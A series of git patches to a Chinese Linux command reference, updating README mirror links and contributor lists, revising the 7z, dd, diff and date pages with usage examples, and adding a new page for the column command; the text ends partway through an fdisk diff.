=?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Sun, 24 Dec 2023 09:05:31 +0800 Subject: [PATCH 0799/1019] doc: Update README.md #548 --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 5ce689ad9ec..8ba0051319b 100644 --- a/README.md +++ b/README.md @@ -37,7 +37,7 @@ **推荐使用的镜像 web 版本** -[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/),[`linux.alistnas.xyz`](https://linux.alistnas.xyz/`) +[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/),[`linux.alistnas.xyz`](https://linux.alistnas.xyz/) **其它 web 版本** From 39e590c2f2ce2f76df0299ddd88420ac5eb1d666 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=B2=99=E6=BC=A0=E4=B9=8B=E5=AD=90?= <7850715+maboloshi@users.noreply.github.com> Date: Thu, 28 Dec 2023 19:27:40 +0800 Subject: [PATCH 0800/1019] doc: update 7z.md (#549) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Update 7z.md 1.新增`提取制定文件`示例 2.`archive` 统一翻译为压缩包 3.新增部分开关描述 * Update 7z.md --- command/7z.md | 94 +++++++++++++++++++++++++++++++-------------------- 1 file changed, 58 insertions(+), 36 deletions(-) diff --git a/command/7z.md b/command/7z.md index 9833fcbe35f..9a683a3389b 100644 --- a/command/7z.md +++ b/command/7z.md @@ -31,17 +31,24 @@ yum install p7zip p7zip-plugins 2、将压缩文件 text.7z 在指定目录(/home/text)下解压缩。 ```bash -# 注意 -o 用来指定解压缩文件存放目录，-o 后是没有空格的,直接接目录 +# 注意 -o 用来指定解压缩文件存放目录，-o 后是没有空格的，直接接目录 7z x text.7z -r -o/home/text ``` -3、将文件 /home/text 压缩成 text.7z。 +3、将压缩文件 text.7z 中的 `dir1/dir2` 和 `dir1/file1` 提取到在指定目录(/home/text)下（保持原有路径结构）。 + +```bash +# 注意 dir1/dir2，dir1/file1 为压缩包中文件或文件夹路径 +7z x text.7z dir1/dir2 dir1/file1 -o/home/text +``` + +4、将文件 /home/text 压缩成 text.7z。 ```bash 7z a text.7z -r /home/text ``` -4、查看压缩包 text.7z 内容，但不解压。 +5、查看压缩包 text.7z 内容，但不解压。 ```bash 7z l text.7z @@ -53,62 +60,77 @@ yum install p7zip p7zip-plugins 使用方法： 7z <命令> [<开关>...] [...］ <命令> - a : 添加文件到存档 + a : 添加文件到压缩包 b : 基准测试 - d : 从存档中删除文件 - e：从档案中提取文件（不使用目录名）。 - h：计算文件的哈希值 + d : 从压缩包中删除文件 + e : 从压缩包中提取文件（不使用目录名）。 + h : 计算文件的哈希值 i : 显示支持的格式信息 - l : 列出档案的内容 - rn : 重命名档案中的文件 - t : 测试档案的完整性 - u : 更新档案中的文件 + l : 列出压缩包的内容 + rn : 重命名压缩包中的文件 + t : 测试压缩包的完整性 + u : 更新压缩包中的文件 x : 提取完整路径的文件 <开关> - --：停止开关解析 - @listfile : 设置包含文件名的列表文件的路径 - -ai[r[-|0]]{@listfile|!wildcard} : 包括归档文件 - -ax[r[-|0]]{@listfile|!wildcard} : 排除档案。 + -- : 停止对 - 开头的开关和 @ 开头的文件列表的解析，为了允许 7-Zip 使用以 - 和 @ 开头的文件名。 + -ai[r[-|0]]{@listfile|!wildcard} : 包括指定压缩包文件 + -ax[r[-|0]]{@listfile|!wildcard} : 排除指定压缩包文件 -ao{a|s|t|u} : 设置覆写模式 - -an : 禁用档案名称字段 + -aoa 覆盖所有现有文件，无提示。 + -aos 跳过提取现有文件。 + -aou 自动重命名提取的文件（例如，name.txt 将重命名为 name_1.txt）。 + -aot 自动重命名现有文件（例如，name.txt 将重命名为 name_1.txt）。 + -an : 禁用压缩包名称字段解析，必须与 -ai 开关一起使用。 -bb[0-3] : 设置输出日志级别 + -bb0 禁用日志（默认）。 + -bb1 或 -bb 在日志中显示已处理文件的名称。 + -bb2 显示在压缩包文件中跳过的文件名称（对于 “提取” 操作）和重新打包的文件名称（对于 “添加” / “更新” 操作） + -bb3 显示 “添加” / “更新” 操作的其他操作（分析、复制）信息。 -bd : 禁用进度指示器 - -bs{o|e|p}{0|1|2}：设置输出/错误/进度行的输出流 + -bs{o|e|p}{0|1|2} : 设置输出/错误/进度行的输出流 + o 标准输出信息 + e 错误信息 + p 进度信息 + 0 禁用流 + 1 重定向到标准输出流 + 2 重定向到标准错误流 -bt : 显示执行时间统计 - -i[r[-|0]]{@listfile|！通配符} : 包括文件名 + -i[r[-|0]]{@listfile|!wildcard} : 包括文件名 -m{Parameters} : 设置压缩方法 - -mmt[N] : 设置CPU线程的数量 - -mx[N] : 设置压缩级别: -mx1 (最快) ... -mx9 (超强) + -mmt[N] : 设置 CPU 线程的数量 + -mx[N] : 设置压缩级别: -mx1 (最快) ... -mx9 (超强)，-mx0（不压缩） -o{Directory} : 设置输出目录 -p{Password} : 设置密码 -r[-|0] : 重新搜索子目录 - -sa{a|e|s} : 设置存档名称模式 - -scc{UTF-8|WIN|DOS}：设置控制台输入/输出的字符集。 - -scs{UTF-8|UTF-16LE|UTF-16BE|WIN|DOS|{id}}：设置列表文件的字符集。 - -scrc[CRC32|CRC64|SHA1|SHA256|*] ：为x、e、h命令设置哈希函数。 + -sa{a|e|s} : 设置压缩包名称模式 + -scc{UTF-8|WIN|DOS} : 设置控制台输入/输出的字符集。 + -scs{UTF-8|UTF-16LE|UTF-16BE|WIN|DOS|{id}} : 设置列表文件的字符集。 + -scrc[CRC32|CRC64|SHA1|SHA256|*] : 为x、e、h命令设置哈希函数。 -sdel : 压缩后删除文件 - -seml[.] : 通过电子邮件发送档案 - -sfx[{name}] : 创建SFX档案 - -si[{name}] : 从stdin读取数据 + -seml[.] : 通过电子邮件发送压缩包 + -sfx[{name}] : 创建 SFX 压缩包 + -si[{name}] : 从标准输入读取数据 -slp : 设置大型页面模式 -slt : 显示l（List）命令的技术信息 -snh : 将硬链接存储为链接 -snl : 将符号链接存储为链接 - -sni : 存储NT安全信息 - -sns[-] : 存储NTFS备用流 - -so : 向stdout写数据 + -sni : 存储 NT 安全信息 + -sns[-] : 存储 NTFS 备用流 + -so : 向标准输出写数据 -spd : 禁用文件名的通配符匹配 -spe : 消除提取命令中根文件夹的重复。 - -spf : 使用完全合格的文件路径 + -spf[2] : 使用完全合格的文件路径 -ssc[-] : 设置敏感的大小写模式 + -sse : 如果无法打开某些输入文件，则停止创建压缩包 + -ssp : 压缩包时不更改源文件的最后访问时间 -ssw : 压缩共享文件 - -stl : 从最近修改的文件设置存档时间戳 - -stm{HexMask} : 设置CPU线程亲和力掩码（十六进制数字）。 - -stx{Type} : 排除存档类型 - -t{Type} : 设置存档的类型 + -stl : 从最近修改的文件设置压缩包时间戳 + -stm{HexMask} : 设置 CPU 线程亲和力掩码（十六进制数字）。 + -stx{Type} : 排除压缩包类型 + -t{Type} : 设置压缩包的类型 -u[-][p#][q#][r#][x#][y#][z#] [!newArchiveName] : 更新选项 - -v{大小}[b|k|m|g] : 创建卷册 + -v{Size}[b|k|m|g] : 创建卷 -w[{path}] : 指定工作目录。空的路径意味着一个临时目录 -x[r[-|0]]{@listfile|!wildcard} : 排除文件名。 -y : 假设所有的查询都是肯定的 From 7c9a1c06647e5e71a32c783a105769c1241570c5 Mon Sep 17 00:00:00 2001 From: YEUNGCHIE <30793662+yeungchie@users.noreply.github.com> Date: Sun, 31 Dec 2023 22:04:45 +0800 Subject: [PATCH 0801/1019] add column.md (#550) --- command/column.md | 123 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 123 insertions(+) create mode 100644 command/column.md diff --git a/command/column.md b/command/column.md new file mode 100644 index 00000000000..62e30329471 --- /dev/null +++ b/command/column.md @@ -0,0 +1,123 @@ +column +=== + +按列格式化输出文件 + +## 概要 + +```shell +column [options] [file ...] +``` + +## 主要用途 + +- 将单列数据整理为多列显示，每行宽度可以指定，超出的部分自动换行。 +- 将多列数据进行快速整理，对齐每列的字符。 + +## 参数 + +file（可选），当没有指定文件时，默认会从标准输入读取，因此可以配合管道符使用。 + +## 选项 + +```shell +-c, --columns 输出宽度（以字符数表示） +-t, --table 创建一个表格（每列字符会对齐） +-s, --separator 指定识别表格的分隔符 +-o, --output-separator 输出表格的列分隔符，默认为两个空格 +-x, --fillrows 在列之前填充行 +-h, --help 显示此帮助 +-V, --version 输出版本信息 +``` + +## 返回值 + +格式化排列后的字符串。 + +## 示例 + +- 整理单列数据 + +```shell +# 生成 26 个英文字母， 每列一个 +$ for a in {a..z}; do echo $a; done > test + +# 每行最大 60 个字符 +$ cat test | column -c 60 +a e i m q u y +b f j n r v z +c g k o s w +d h l p t x + +# 在上面的基础上，进一步整理，每列之间宽度默认两个空白符 +$ cat test | column -c 60 | column -t +a e i m q u y +b f j n r v z +c g k o s w +d h l p t x + +# 指定每列之间用 ', ' 拼接 +$ cat test | column -c 60 | column -t -o ', ' +a, e, i, m, q, u, y +b, f, j, n, r, v, z +c, g, k, o, s, w +d, h, l, p, t, x +``` + +- 整理多列数据 + +```shell +# 现有如下内容较为凌乱的文本文件 test +$ cat test +Address[0] Metal3,pin 133.175:159.92 +Address[1] Metal3,pin 112.38:159.92 +Address[2] Metal3,pin 70.775:159.92 +Address[3] Metal3,pin 41.655:159.92 +DataIn[0] Metal3,pin 66.615:159.92 +DataIn[1] Metal3,pin 37.495:159.92 +DataIn[2] Metal3,pin 122.88:159.92 +DataIn[3] Metal3,pin 95.74:159.92 +DataOut[0] Metal3,pin 45.815:159.92 +DataOut[1] Metal3,pin 79.095:159.92 +DataOut[2] Metal3,pin 104.055:159.92 +DataOut[3] Metal3,pin 62.46:159.92 +MemReq Metal3,pin 108.215:159.92 +RdWrBar Metal3,pin 87.415:159.92 +clock Metal3,pin 74.935:159.92 + +# 列对齐 +$ cat test | column -t +Address[0] Metal3,pin 133.175:159.92 +Address[1] Metal3,pin 112.38:159.92 +Address[2] Metal3,pin 70.775:159.92 +Address[3] Metal3,pin 41.655:159.92 +DataIn[0] Metal3,pin 66.615:159.92 +DataIn[1] Metal3,pin 37.495:159.92 +DataIn[2] Metal3,pin 122.88:159.92 +DataIn[3] Metal3,pin 95.74:159.92 +DataOut[0] Metal3,pin 45.815:159.92 +DataOut[1] Metal3,pin 79.095:159.92 +DataOut[2] Metal3,pin 104.055:159.92 +DataOut[3] Metal3,pin 62.46:159.92 +MemReq Metal3,pin 108.215:159.92 +RdWrBar Metal3,pin 87.415:159.92 +clock Metal3,pin 74.935:159.92 + +# 将 ',' 和 ':' 也识别为分隔符 +$ cat test | column -t -s ',: ' +Address[0] Metal3 pin 133.175 159.92 +Address[1] Metal3 pin 112.38 159.92 +Address[2] Metal3 pin 70.775 159.92 +Address[3] Metal3 pin 41.655 159.92 +DataIn[0] Metal3 pin 66.615 159.92 +DataIn[1] Metal3 pin 37.495 159.92 +DataIn[2] Metal3 pin 122.88 159.92 +DataIn[3] Metal3 pin 95.74 159.92 +DataOut[0] Metal3 pin 45.815 159.92 +DataOut[1] Metal3 pin 79.095 159.92 +DataOut[2] Metal3 pin 104.055 159.92 +DataOut[3] Metal3 pin 62.46 159.92 +MemReq Metal3 pin 108.215 159.92 +RdWrBar Metal3 pin 87.415 159.92 +clock Metal3 pin 74.935 159.92 +``` From 8ce1016418bac4cdc69ff5339a8bbdc7b0c36124 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 31 Dec 2023 14:05:34 +0000 Subject: [PATCH 0802/1019] doc: update README.md. --- README.md | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 8ba0051319b..031f689a7c8 100644 --- a/README.md +++ b/README.md @@ -468,6 +468,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Shell + + 沙漠之子 + Qliangw @@ -603,6 +606,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xu Chunyang + + YEUNGCHIE + Yan Sheng @@ -789,9 +795,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 极简XksA - - 沙漠之子 - 甲寅 From 06066f2cdabbae0feac6c385313deb28dbe58b0f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 31 Dec 2023 14:05:35 +0000 Subject: [PATCH 0803/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index cb025b2457d..9bdb2743d18 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -105,6 +105,9 @@ Shell + + 沙漠之子 + Qliangw @@ -240,6 +243,9 @@ Xu Chunyang + + YEUNGCHIE + Yan Sheng @@ -426,9 +432,6 @@ 极简XksA - - 沙漠之子 - 甲寅 From e9af515824a39e9d9ecb33b45198fe8027b58ba4 Mon Sep 17 00:00:00 2001 From: xhal <34055638+xhal@users.noreply.github.com> Date: Thu, 11 Jan 2024 14:53:38 +0800 Subject: [PATCH 0804/1019] doc: update dd.md (#552) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * 补充7z/ab 安装命令及ab简单使用实例 * [dd] 增加参数说明及使用实例 * [7z/ab] == 修改为 === --- command/dd.md | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/command/dd.md b/command/dd.md index 749c94720cc..dd6e87568f8 100644 --- a/command/dd.md +++ b/command/dd.md @@ -24,6 +24,7 @@ conv=<关键字>：指定文件转换的方式； count=<区块数>：仅读取指定的区块数； ibs=<字节数>：每次读取的字节数； obs=<字节数>：每次输出的字节数； +if=<文件>：输入文件； of=<文件>：输出到文件； seek=<区块数>：一开始输出时，跳过指定的区块数； skip=<区块数>：一开始读取时，跳过指定的区块数； @@ -82,3 +83,19 @@ wFRAnlkXeBXmWs1MyGEs +**测试磁盘写入速度** + +```shell +[root@localhost ~]# dd if=/dev/zero of=/tmp/testfile bs=1G count=1 oflag=direct +1+0 records in +1+0 records out +1073741824 bytes (1.1 GB) copied, 7.10845 s, 151 MB/s +``` + +**测试磁盘读取速度** +```shell +[root@localhost ~]# dd if=/tmp/testfile of=/dev/null bs=1G count=1 iflag=direct +1+0 records in +1+0 records out +1073741824 bytes (1.1 GB) copied, 6.53009 s, 164 MB/s +``` From 8bb6835e272e911388b1191c87d12563a93b218e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 11 Jan 2024 06:54:11 +0000 Subject: [PATCH 0805/1019] doc: update README.md. --- README.md | 544 +++++++++++++++++++++++++++--------------------------- 1 file changed, 272 insertions(+), 272 deletions(-) diff --git a/README.md b/README.md index 031f689a7c8..3eccc26dd57 100644 --- a/README.md +++ b/README.md @@ -387,21 +387,21 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 clay-wangzhi - - 烟草的香味 + + Glett 项金 - - Glett - - - 丛林意志 + + 烟草的香味 Jayin Tang + + 丛林意志 + Zijing Zhang @@ -411,42 +411,63 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 __FresHmaN - - James Wang + + ernest - - Lnkstls + + dulltackle - - SteveLauC + + 谈笑风生间 - - lavaicer + + rgshare loverainye - - rgshare + + lavaicer - - dulltackle + + SteveLauC - - ernest + + Lnkstls - - 谈笑风生间 + + James Wang - - BingCoke + + Qliangw - - Ein Verne + + Wang Jianing + + + alfred + + + 沙漠之子 + + + Shell + + + xhal + + + wVVaTT Pan, Wen-Ming + + Ein Verne + + + BingCoke + RichardLCD @@ -462,362 +483,341 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Dazhuangw - - wVVaTT + + shc - - Shell + + sfwwslm - - 沙漠之子 + + rexlin600 - - Qliangw + + oliver - - Wang Jianing + + noodles2hg - - alfred + + myliwenbo - - Alan + + cole - - DaYangtuo247 + + Ricardowang - - Danny + + linuxwd - - Divenire + + lewis1573 - - Frankie + + leo - - Guiying Li + + kid1412621 - - Herbert8 + + kassadin - - HighScorePlayer + + juemuren4449 - - Huntout Zhang + + jqz3.tech - - Jack + + jcdj666 - - Jack.A.Black + + huangyao - - Jeremy2214 + + gcluffy - - Nexchard + + ghy - - LaudOak + + gggwvg - - Legend + + gesty - - LexsionLee + + gedune - - 孟思行 + + gang.yang - - LinuxZilong + + ecjtusbs - - Lucien + + dongpohezui - - Wang + + Deny - - mwei + + dayday - - Marnm + + 黑&蛋 - - MinsonLee + + Panthea Johnson - - Mystic + + 远方 - - Ray Yee + + 谢民皆 - - Rining Wu + + Kyofin - - Robigus + + 继刚 - - Rocher + + 移动的红烧肉 - - 殇 + + 甲寅 - - SMVirus + + 极简XksA - - SevenSteven + + ReZero - - Shan Chenyu + + Loofra - - Azolla + + 徐伟 - - RoachZhao + + 尘埃 - - Spaghetti-C + + 宋小北 - - T-TRz879 + + 孤城落寞 - - Na Meng + + 七朔 - - Wingrez + + zyimm - - XBG + + zuixin369 - - Xiaodong DENG - - - Xonline-Tech - - - Xu Chunyang - - - YEUNGCHIE - - - Yan Sheng - - - Yunbin Liu - - - 0Knot (0KN) - - - alterem + + zoomdong - - One Person’s Revelry + + zodiac - - amit794 + + zjlovezj - - Ashine + + yanyx - - azureology + + Lingfeng Wang - - bell + + weibk - - brinkqiang + + UniqueDing - - c2ch + + tutianyu101 - - Forever121 + + tangke - - cxalc + + sunls24 - - dayday + + snovey - - Deny + + Rocher - - dongpohezui + + Robigus - - ecjtusbs + + Rining Wu - - gang.yang + + Ray Yee - - gedune + + Mystic - - gesty + + MinsonLee - - gggwvg + + Marnm - - ghy + + mwei - - gcluffy + + Wang - - huangyao + + Lucien - - jcdj666 + + LinuxZilong - - jqz3.tech + + 孟思行 - - juemuren4449 + + LexsionLee - - kassadin + + Legend - - kid1412621 + + LaudOak - - leo + + Nexchard - - lewis1573 + + Jeremy2214 - - linuxwd + + Jack.A.Black - - Ricardowang + + Jack - - cole + + Huntout Zhang - - myliwenbo + + HighScorePlayer - - noodles2hg + + Herbert8 - - oliver + + Guiying Li - - rexlin600 + + Frankie - - sfwwslm + + Divenire - - shc + + Danny - - snovey + + DaYangtuo247 - - sunls24 + + Alan - - tangke + + cxalc - - tutianyu101 + + Forever121 - - UniqueDing + + c2ch - - weibk + + brinkqiang - - Lingfeng Wang + + bell - - xhal + + azureology - - yanyx + + Ashine - - zjlovezj + + amit794 - - zodiac + + One Person’s Revelry - - zoomdong + + alterem - - zuixin369 + + 0Knot (0KN) - - zyimm + + Yunbin Liu - - 七朔 + + Yan Sheng - - 孤城落寞 + + YEUNGCHIE - - 宋小北 + + Xu Chunyang - - 尘埃 + + Xonline-Tech - - 徐伟 + + Xiaodong DENG - - Loofra + + XBG - - ReZero + + Wingrez - - 极简XksA + + Na Meng - - 甲寅 + + T-TRz879 - - 移动的红烧肉 + + Spaghetti-C - - 继刚 + + RoachZhao - - Kyofin + + Azolla - - 谢民皆 + + Shan Chenyu - - 远方 + + SevenSteven - - Panthea Johnson + + SMVirus - - 黑&蛋 + + 殇 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From ab0cc031eef406c2d7e4e613256505587c2b4d4f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 11 Jan 2024 06:54:12 +0000 Subject: [PATCH 0806/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 544 +++++++++++++++++++------------------- 1 file changed, 272 insertions(+), 272 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 9bdb2743d18..08c2b67443e 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -24,21 +24,21 @@ clay-wangzhi - - 烟草的香味 + + Glett 项金 - - Glett - - - 丛林意志 + + 烟草的香味 Jayin Tang + + 丛林意志 + Zijing Zhang @@ -48,42 +48,63 @@ __FresHmaN - - James Wang + + ernest - - Lnkstls + + dulltackle - - SteveLauC + + 谈笑风生间 - - lavaicer + + rgshare loverainye - - rgshare + + lavaicer - - dulltackle + + SteveLauC - - ernest + + Lnkstls - - 谈笑风生间 + + James Wang - - BingCoke + + Qliangw - - Ein Verne + + Wang Jianing + + + alfred + + + 沙漠之子 + + + Shell + + + xhal + + + wVVaTT Pan, Wen-Ming + + Ein Verne + + + BingCoke + RichardLCD @@ -99,362 +120,341 @@ Dazhuangw - - wVVaTT + + shc - - Shell + + sfwwslm - - 沙漠之子 + + rexlin600 - - Qliangw + + oliver - - Wang Jianing + + noodles2hg - - alfred + + myliwenbo - - Alan + + cole - - DaYangtuo247 + + Ricardowang - - Danny + + linuxwd - - Divenire + + lewis1573 - - Frankie + + leo - - Guiying Li + + kid1412621 - - Herbert8 + + kassadin - - HighScorePlayer + + juemuren4449 - - Huntout Zhang + + jqz3.tech - - Jack + + jcdj666 - - Jack.A.Black + + huangyao - - Jeremy2214 + + gcluffy - - Nexchard + + ghy - - LaudOak + + gggwvg - - Legend + + gesty - - LexsionLee + + gedune - - 孟思行 + + gang.yang - - LinuxZilong + + ecjtusbs - - Lucien + + dongpohezui - - Wang + + Deny - - mwei + + dayday - - Marnm + + 黑&蛋 - - MinsonLee + + Panthea Johnson - - Mystic + + 远方 - - Ray Yee + + 谢民皆 - - Rining Wu + + Kyofin - - Robigus + + 继刚 - - Rocher + + 移动的红烧肉 - - 殇 + + 甲寅 - - SMVirus + + 极简XksA - - SevenSteven + + ReZero - - Shan Chenyu + + Loofra - - Azolla + + 徐伟 - - RoachZhao + + 尘埃 - - Spaghetti-C + + 宋小北 - - T-TRz879 + + 孤城落寞 - - Na Meng + + 七朔 - - Wingrez + + zyimm - - XBG + + zuixin369 - - Xiaodong DENG - - - Xonline-Tech - - - Xu Chunyang - - - YEUNGCHIE - - - Yan Sheng - - - Yunbin Liu - - - 0Knot (0KN) - - - alterem + + zoomdong - - One Person’s Revelry + + zodiac - - amit794 + + zjlovezj - - Ashine + + yanyx - - azureology + + Lingfeng Wang - - bell + + weibk - - brinkqiang + + UniqueDing - - c2ch + + tutianyu101 - - Forever121 + + tangke - - cxalc + + sunls24 - - dayday + + snovey - - Deny + + Rocher - - dongpohezui + + Robigus - - ecjtusbs + + Rining Wu - - gang.yang + + Ray Yee - - gedune + + Mystic - - gesty + + MinsonLee - - gggwvg + + Marnm - - ghy + + mwei - - gcluffy + + Wang - - huangyao + + Lucien - - jcdj666 + + LinuxZilong - - jqz3.tech + + 孟思行 - - juemuren4449 + + LexsionLee - - kassadin + + Legend - - kid1412621 + + LaudOak - - leo + + Nexchard - - lewis1573 + + Jeremy2214 - - linuxwd + + Jack.A.Black - - Ricardowang + + Jack - - cole + + Huntout Zhang - - myliwenbo + + HighScorePlayer - - noodles2hg + + Herbert8 - - oliver + + Guiying Li - - rexlin600 + + Frankie - - sfwwslm + + Divenire - - shc + + Danny - - snovey + + DaYangtuo247 - - sunls24 + + Alan - - tangke + + cxalc - - tutianyu101 + + Forever121 - - UniqueDing + + c2ch - - weibk + + brinkqiang - - Lingfeng Wang + + bell - - xhal + + azureology - - yanyx + + Ashine - - zjlovezj + + amit794 - - zodiac + + One Person’s Revelry - - zoomdong + + alterem - - zuixin369 + + 0Knot (0KN) - - zyimm + + Yunbin Liu - - 七朔 + + Yan Sheng - - 孤城落寞 + + YEUNGCHIE - - 宋小北 + + Xu Chunyang - - 尘埃 + + Xonline-Tech - - 徐伟 + + Xiaodong DENG - - Loofra + + XBG - - ReZero + + Wingrez - - 极简XksA + + Na Meng - - 甲寅 + + T-TRz879 - - 移动的红烧肉 + + Spaghetti-C - - 继刚 + + RoachZhao - - Kyofin + + Azolla - - 谢民皆 + + Shan Chenyu - - 远方 + + SevenSteven - - Panthea Johnson + + SMVirus - - 黑&蛋 + + 殇

    - 加载指定的插件程序 +仿真选项： + 没有仿真特有的选项 ``` -ar：支持的目标： elf64-x86-64 elf32-i386 elf32-x86-64 a.out-i386-linux pei-i386 pei-x86-64 elf64-l1om elf64-k1om elf64-little elf64-big elf32-little elf32-big plugin srec symbolsrec verilog tekhex binary ihex - ### 实例 打包文件 diff --git a/command/date.md b/command/date.md index e6b65ab671c..7d0dae3945b 100644 --- a/command/date.md +++ b/command/date.md @@ -90,11 +90,9 @@ _ (下划线) 使用空格填充相应的字段。 -d, --date=STRING 解析字符串并按照指定格式输出，字符串不能是'now'。 --debug 注释已解析的日期，并将有疑问的用法发送到标准错误。 -f, --file=DATEFILE 类似于--date; 一次从DATEFILE处理一行。 --I[FMT], --iso-8601[=FMT] 按照ISO 8601格式输出，FMT可以为'date'(默认)，'hours'，'minutes'，'seconds'，'ns'。 - 例如：2006-08-14T02:34:56-06:00 +-I[FMT], --iso-8601[=FMT] 按照ISO 8601格式输出，FMT可以为'date'(默认)，'hours'，'minutes'，'seconds'，'ns'。例如：2006-08-14T02:34:56-06:00 -R, --rfc-email 按照RFC 5322格式输出，例如: Mon, 14 Aug 2006 02:34:56 -0600 ---rfc-3339=FMT 按照RFC 3339格式输出，FMT可以为'date', 'seconds','ns'中的一个， - 例如：2006-08-14 02:34:56-06:00 +--rfc-3339=FMT 按照RFC 3339格式输出，FMT可以为'date', 'seconds','ns'中的一个，例如：2006-08-14 02:34:56-06:00 -r, --reference=FILE 显示文件的上次修改时间。 -s, --set=STRING 根据字符串设置系统时间。 -u, --utc, --universal 显示或设置世界协调时(UTC)。 diff --git a/command/diff.md b/command/diff.md index 56fcfbbda24..e3f177a1a72 100644 --- a/command/diff.md +++ b/command/diff.md @@ -17,31 +17,31 @@ diff(选项)(参数) ```shell -<行数>：指定要显示多少行的文本。此参数必须与-c或-u参数一并使用； --a或——text：diff预设只会逐行比较文本文件； +-a或--text：diff预设只会逐行比较文本文件； -b或--ignore-space-change：不检查空格字符的不同； -B或--ignore-blank-lines：不检查空白行； -c：显示全部内容，并标出不同之处； -C<行数>或--context<行数>：与执行“-c-<行数>”指令相同； --d或——minimal：使用不同的演算法，以小的单位来做比较； +-d或--minimal：使用不同的演算法，以小的单位来做比较； -D<巨集名称>或ifdef<巨集名称>：此参数的输出格式可用于前置处理器巨集； --e或——ed：此参数的输出格式可用于ed的script文件； +-e或--ed：此参数的输出格式可用于ed的script文件； -f或-forward-ed：输出的格式类似ed的script文件，但按照原来文件的顺序来显示不同处； -H或--speed-large-files：比较大文件时，可加快速度； -l<字符或字符串>或--ignore-matching-lines<字符或字符串>：若两个文件在某几行有所不同，而之际航同时都包含了选项中指定的字符或字符串，则不显示这两个文件的差异； -i或--ignore-case：不检查大小写的不同； --l或——paginate：将结果交由pr程序来分页； --n或——rcs：将比较结果以RCS的格式来显示； +-l或--paginate：将结果交由pr程序来分页； +-n或--rcs：将比较结果以RCS的格式来显示； -N或--new-file：在比较目录时，若文件A仅出现在某个目录中，预设会显示：Only in目录，文件A 若使用-N参数，则diff会将文件A 与一个空白的文件比较； -p：若比较的文件为C语言的程序码文件时，显示差异所在的函数名称； -P或--unidirectional-new-file：与-N类似，但只有当第二个目录包含了第一个目录所没有的文件时，才会将这个文件与空白的文件做比较； -q或--brief：仅显示有无差异，不显示详细的信息； --r或——recursive：比较子目录中的文件； +-r或--recursive：比较子目录中的文件； -s或--report-identical-files：若没有发现任何差异，仍然显示信息； -S<文件>或--starting-file<文件>：在比较目录时，从指定的文件开始比较； -t或--expand-tabs：在输出时，将tab字符展开； -T或--initial-tab：在每行前面加上tab字符以便对齐； -u，-U<列数>或--unified=<列数>：以合并的方式来显示文件内容的不同； --v或——version：显示版本信息； +-v或--version：显示版本信息； -w或--ignore-all-space：忽略全部的空格字符； -W<宽度>或--width<宽度>：在使用-y参数时，指定栏宽； -x<文件名或目录>或--exclude<文件名或目录>：不比较选项中所指定的文件或目录； @@ -54,8 +54,8 @@ diff(选项)(参数) ### 参数 -* 文件1：指定要比较的第一个文件； -* 文件2：指定要比较的第二个文件。 +* 文件1：指定要比较的第一个文件； +* 文件2：指定要比较的第二个文件。 ### 实例 @@ -71,7 +71,7 @@ diff a.txt b.txt diff -c a.txt b.txt ``` -``` +```shell 　　*** a1.txt 2012-08-29 16:45:41.000000000 +0800 　　--- a2.txt 2012-08-29 16:45:51.000000000 +0800 　　*************** @@ -99,7 +99,7 @@ diff -c a.txt b.txt diff -u a.txt b.txt ``` -``` +```shell 　　--- a.txt 2012-08-29 16:45:41.000000000 +0800 　　+++ b.txt 2012-08-29 16:45:51.000000000 +0800 　　@@ -1,7 +1,7 @@ diff --git a/command/exit.md b/command/exit.md index 5ba8a4ef490..7c48de8b314 100644 --- a/command/exit.md +++ b/command/exit.md @@ -72,6 +72,6 @@ fi ### 注意 -1. 该命令是bash内建命令，相关的帮助信息请查看`help`命令。 +1. 该命令是bash内建命令，相关的帮助信息请查看`help`命令。 diff --git a/command/fdisk.md b/command/fdisk.md index 3bce73b1f29..ca678e90394 100644 --- a/command/fdisk.md +++ b/command/fdisk.md @@ -10,20 +10,37 @@ fdisk 